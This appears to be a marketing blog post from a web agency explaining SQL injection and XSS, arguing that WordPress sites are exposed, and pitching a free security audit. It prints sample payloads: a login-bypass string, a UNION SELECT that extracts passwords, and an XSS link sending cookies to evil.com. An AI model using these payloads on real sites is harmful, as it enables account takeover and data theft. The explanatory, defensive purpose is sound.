In this guide (5)
The problem nobody wants to admit
Every day in Italy dozens of company websites are compromised. Not because the owners were negligent or clicked on suspicious links: often the fault lies with software they use without even realizing it.
SQL injection and Cross-Site Scripting (XSS) are two attack techniques that have existed for twenty years, are well documented, and continue to be among the leading causes of corporate data breaches in 2026. The reason is simple: most Italian company websites run on open source CMS platforms like WordPress, and their architecture structurally exposes them to these attacks.
In this article we explain exactly how these vulnerabilities work, with concrete examples, and what sets a truly protected system apart from one that relies on poorly updated security plugins.
What SQL Injection is and how it works
The basic mechanism
A web application communicates with the database through SQL queries. When a user enters data into a form — a login field, a search bar, a contact form — that input is often embedded directly into the query that interrogates the database.
The problem arises when the application blindly trusts what the user writes, without verifying it.
Imagine a site with a login form. The PHP code that handles access might build a query like this:
sql
SELECT * FROM utenti WHERE email = '$email' AND password = '$password'
If the user enters the string ' OR '1'='1 as the email, the query becomes:
sql
SELECT * FROM utenti WHERE email = '' OR '1'='1' AND password = '...'
The condition '1'='1' is always true. The attacker gains access to the admin panel without knowing any password.
The most dangerous variants
UNION SELECT — allows a second query to be appended to the first, extracting data from different tables (for example, the full list of users and passwords):
sql
' UNION SELECT username, password FROM utenti --
Blind SQLi — when the site doesn't display SQL errors but behaves differently depending on the query result. The attacker deduces information by asking the database true/false questions, one at a time.
Time-based SQLi — an even stealthier variant: the attacker injects functions like SLEEP(5) and measures the server's response time. If the page takes 5 seconds to respond, the condition was true.
What an attacker can do with SQLi
With an unfiltered SQL injection, an attacker can: read any data in the database (including customers' personal data, password hashes, business information), write arbitrary data, delete entire tables, and in some cases execute commands on the server's operating system.
The average cost of a data breach for an Italian SME exceeds 200,000 euros, including mandatory GDPR notifications, customer loss and recovery costs.
What Cross-Site Scripting (XSS) is and how it works
The logic of the attack
XSS works differently from SQLi: instead of attacking the database, the attacker inserts malicious JavaScript code into the site's pages, which is then executed in the browsers of the users who visit those pages.
The target isn't the server but your customers.
The three main types
Reflected XSS — the malicious code travels within the URL. The attacker sends the victim a link like:
https://tuoesempio.it/search?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
If the site displays the q parameter on the page without filtering it, the victim's browser executes the script and sends the session cookie to the attacker. At that point the attacker has access to the victim's account without needing any credentials.
Stored XSS — the malicious code is saved in the site's database (in a comment, in a user profile, in a CMS field) and served to every user who visits that page. This is the most dangerous type: a single attack can potentially infect thousands of users.
DOM-based XSS — the manipulation occurs entirely in the browser through JavaScript already present on the page, without the server being involved. Harder to detect, difficult to block server-side.
Request Your Free Security Audit →
What an attacker can do with XSS
With XSS an attacker can: steal session cookies and impersonate users, redirect visitors to phishing sites, inject fake forms that collect banking credentials, install malware on visitors' browsers, visually deface the site to damage the company's reputation.
The most common case in Italy: WordPress business sites that, after an XSS attack, start redirecting visitors to pharmaceutical or betting sites. The owner finds out from a customer's phone call.
Why WordPress is structurally more exposed
This isn't a generic criticism of open source. It's an architectural matter.
The attack surface is enormous. In 2026, WordPress powers about 43% of the global web. This makes it the number one target: every vulnerability discovered is worth gold to whoever exploits it, because it can be automated across millions of sites at the same time.
Plugins multiply the risk. A typical WordPress site uses 20-40 third-party plugins, each of which can introduce its own vulnerabilities. The site can be perfectly up to date, but an unmaintained plugin opens the door. In 2025, over 11,000 vulnerabilities were recorded in the WordPress ecosystem.
Protection from SQLi depends on every single plugin developer. WordPress itself uses prepared statements in its core, but every plugin that accesses the database does so with its own code. If the developer of that plugin didn't use $wpdb->prepare() correctly, the vulnerability is there, even if WordPress is up to date.
Protection from XSS depends on themes. WordPress doesn't automatically sanitize the output of every theme. Every PHP template that prints unescaped variables is a potential XSS vector. With thousands of themes available, code quality varies enormously.
Wordfence and similar plugins are not the database. Application firewalls added via plugins protect at the HTTP request level but come into play after the CMS code. If the vulnerability is in the PHP code that runs before the security plugin, the protection doesn't kick in.
How a correctly built system defends itself
A system that integrates security into the architecture, instead of adding it afterward, works very differently.
Prepared statements always, with no exceptions. The correct way to build queries is to separate the SQL code from the user's data, which is passed as separate parameters and never interpolated into the string. The database driver handles escaping automatically. There's no way to inject SQL into a separate parameter.
Output encoding on every variable. Every piece of data coming from the user or the database, before being written into the HTML, must be transformed so that special characters like <, >, " are rendered harmless. A correctly built system does this automatically for every output, not just when the developer remembers to.
Application firewall built into the core. The difference between a WAF added as a plugin and one built into the application core is fundamental: the latter analyzes every HTTP request before it reaches any application logic, with centrally updated patterns that aren't subject to conflicts between plugins.
Content Security Policy headers. A correctly configured CSP header tells the browser which domains are allowed to load scripts. Even if an attacker managed to inject a script, the browser would refuse to run it if the domain isn't on the whitelist. This protection must be configured at the server level; it isn't something you switch on with a plugin.
The question you need to ask your provider
If your current site runs on WordPress or another open source CMS, you have the right to ask your provider or web agency these questions:
How is input sanitization handled across all installed plugins? Who updates the plugins when critical vulnerabilities come out? Is there a built-in WAF, or are plugins like Wordfence used? Are security headers such as CSP, X-Frame-Options, HSTS configured? Is output always encoded before being printed into the HTML?
If the answer to any of these questions is vague, your site probably has vulnerabilities you don't know about yet.
SQL injection and XSS are not theoretical threats or concerns only for big companies. They are automated techniques that scanners and bots run continuously against every site reachable on the internet, regardless of the company's size.
The difference isn't made by the hosting plan or the antivirus on the server: it's made by the architecture of the system that runs your site. A system that treats security as an architectural issue — not as a plugin to install — is structurally more resistant to these attacks.
If you want to know whether your current site passes these tests, you can request a free audit: our team analyzes the attack surface of your existing site and provides you with a report listing the vulnerabilities found and the recommended solutions.
